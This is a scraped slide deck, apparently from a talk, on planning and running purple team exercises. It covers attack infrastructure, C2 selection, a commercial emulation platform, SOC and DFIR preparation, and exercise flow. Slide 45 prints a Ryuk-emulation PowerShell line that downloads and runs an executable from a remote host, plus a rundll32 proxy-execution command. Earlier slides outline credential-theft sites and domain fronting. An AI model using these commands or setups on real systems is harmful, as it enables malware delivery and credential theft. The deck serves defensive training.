  • 40. @JORGEORCHILLES Attack Infrastructure (1) ● Choose and procure external hosting provider ● Create external virtual machines ○ Only allow connection from target organization outbound IP Addresses and Red Teamer IP Addresses ○ Setup credential theft site and/or payload delivery sites ○ Setup C2 Infrastructure – based on payloads and TTP ○ Setup redirectors/relays ● Ensure SMTP servers allow sending emails into organization ○ Shared Email Service should be allowed in ○ If using new SMTP servers, this may require more time for gaining reputation 40
  • 41. @JORGEORCHILLES Attack Infrastructure (2) ● Purchase Domains ● Generate or purchase TLS Certificates ● Setup Domain Fronting (if required) ● Categorize domains or ensure proxies/outbound controls allow access ● Provide IPs and Domains to Blue Team if testing will be performed before the exercise ● Test payloads and domains with Blue Team Manager to ensure allowlists are complete and payloads/C2 is working. This should be done against test systems; not the same one for the exercise. 41 https://www.scythe.io/library/attack-infrastructure-red-teams-vs-malicious-actors
  • 42. @JORGEORCHILLES Determine Tools to Use - C2 Matrix ● Google Sheet of C2s ● https://www.thec2matrix.com/ ● Find ideal C2 for your needs ● https://howto.thec2matrix.com ● SANS Slingshot C2 Matrix VM ● @C2_Matrix 42
  • 43. @JORGEORCHILLES SCYTHE ● Enterprise-Grade platform for Adversary Emulation ○ Creating custom, controlled, synthetic malware ○ Can be deployed on-premises or your cloud ● Emulate known threat actors against an enterprise network ○ Consistently execute adversary behaviors ○ Continually assess security controls ○ Decreased evaluation time of security technologies ○ Identify blind spots for blue teams ○ Force-multiplier for red team resources ○ Measure and improve response of people and process 43
  • 44. @JORGEORCHILLES Features & Capabilities ● Enterprise C2 ○ HTTP(S), DNS, SMB ○ Google, Twitter, Stego ● Automation ○ Build cross-platform synthetic malware via dashboard ○ Synthetic malware emulates chosen behaviors consistently ● Delivery methods ○ Web Page/ Drive-by (T1189) ○ Phishing Link (T1192) ○ Phishing Attachment (T1193) ● Reports ○ HTML Report, CSV Report, Executive Report and Technical Report ○ Mapped to MITRE ATT&CK ● Integrations ○ PlexTrac - automated report writing and handling ○ Integrated with SIEMs (Splunk and Syslog) ○ Red Canary’s Atomic Red Team ○ VECTR - for tracking and showing value 44
  • 45. @JORGEORCHILLES Playbooks Create Campaigns in SCYTHE beforehand ● HTTPS - 10 second heartbeat ○ User Execution: Malicious File (T1204.002) ● Orangeworm ○ Signed Binary Proxy Execution: Rundll32 (T1218.011) ■ rundll32.exe ServiceLogin.dll,PlatformClientMain ● Ryuk ○ Command and Scripting Interpreter: PowerShell (T1059.001) ■ $myscriptblock={$url="https://scythe/ServiceLogin?active=xdHu2K8hG0yvEzMMC-AR7 g&b=false";$wc=New-Object System.Net.WebClient;$output="C:UsersPublicscythe_payload.exe";$wc.DownloadFil e($url,$output);C:UsersPublicscythe_payload.exe};Invoke-Command -ScriptBlock $myscriptblock; 45
  • 46. @JORGEORCHILLES SOC/Hunt Team Preparation ● Validate security tools are reporting to production security tools from the target systems ● Ensure attack infrastructure is accessible through proxy/outbound controls ● Ensure attack infrastructure is being decrypted (TLS decryption/interception) ● Verify allowlists and notify Red Team ● Work with Red Team as payloads and C2 are tested prior to exercise on non-exercise systems ● Threat Hunting Playbooks - https://threathunterplaybook.com/introduction.html 46
  • 47. @JORGEORCHILLES DFIR Preparation ● Create an exercise case as per the DFIR process ○ This will allow tagging artifacts and following normal processes without flagging any suspicious activity (e.g. pulling memory from a system that does not have a formal case) ○ Ensure the target systems are not segmented or wiped as they will be used throughout the exercise. It is worth noting that DFIR results serve as a great resource for Cyber Threat Intelligence. ● Ensure the correct forensic tools are deployed on the target systems ● Install Live Forensic Tools for efficiency during Purple Team Exercise. For example: ○ Sysmon ○ Processmon 47
  • 48. @JORGEORCHILLES Kick Off the Exercise ● Sponsor kicks off the exercise ● Motivate the attendees ● Go over the flow of the exercise 48
  • 49. @JORGEORCHILLES Exercise Flow 1. Cyber Threat Intelligence, Exercise Coordinator, and/or Red Team presents the adversary, TTPs, and technical details: ○ Adversary behavior ○ Procedure ○ Tool used ○ Attack Vector ○ Delivery Method ○ Privilege gained 2. Purple Team discussion of expected controls based on TTP ○ SOC: Any logs or alerts for this TTP ○ Hunt Team: Any Hunt Cases for this TTP ○ DFIR: Documented methods to identify if TTP was leveraged 49
  • 50. @JORGEORCHILLES Exercise Flow 3. Red Team executes the TTP ○ Provides attacker IP ○ Provides target ○ Provides exact time ○ Shows the attack on projector 4. SOC, Hunt, and DFIR follow process to identify evidence of TTP ○ Time should be monitored to meet expectation and move exercise along 50
  • 51. @JORGEORCHILLES Exercise Flow 5. Share screen if TTP was identified, received alert, logs, or forensics a. Time to detect b. Time to receive alert c. Red Team stops TTP d. Show on screen TTP evidence stopped e. Red Team runs TTP again 6. Document results - what worked and what did not 7. Are there any short term adjustments that can increase visibility? a. Implement adjustment b. Red Team repeats TTP 8. Document any feedback and/or Action Items for TTP 9. Repeat for next TTP 51
  • 53. @JORGEORCHILLES Lessons Learned ● At least one dedicated Exercise Coordinator should be assigned to take minutes, notes, action items, and feedback ● Daily emails should be sent to all attendees and sponsors with minutes, action items, and plan for the next day ● The Exercise Coordinator is responsible for the creation of a Lessons Learned document following each exercise ● A feedback request should be sent to all attendees on the last day of the Purple Team Exercise to obtain immediate feedback, while it is fresh on attendee’s minds ● Lessons Learned documents should be completed and sent to Sponsors and Attendees less than 2 weeks after the exercise has concluded 53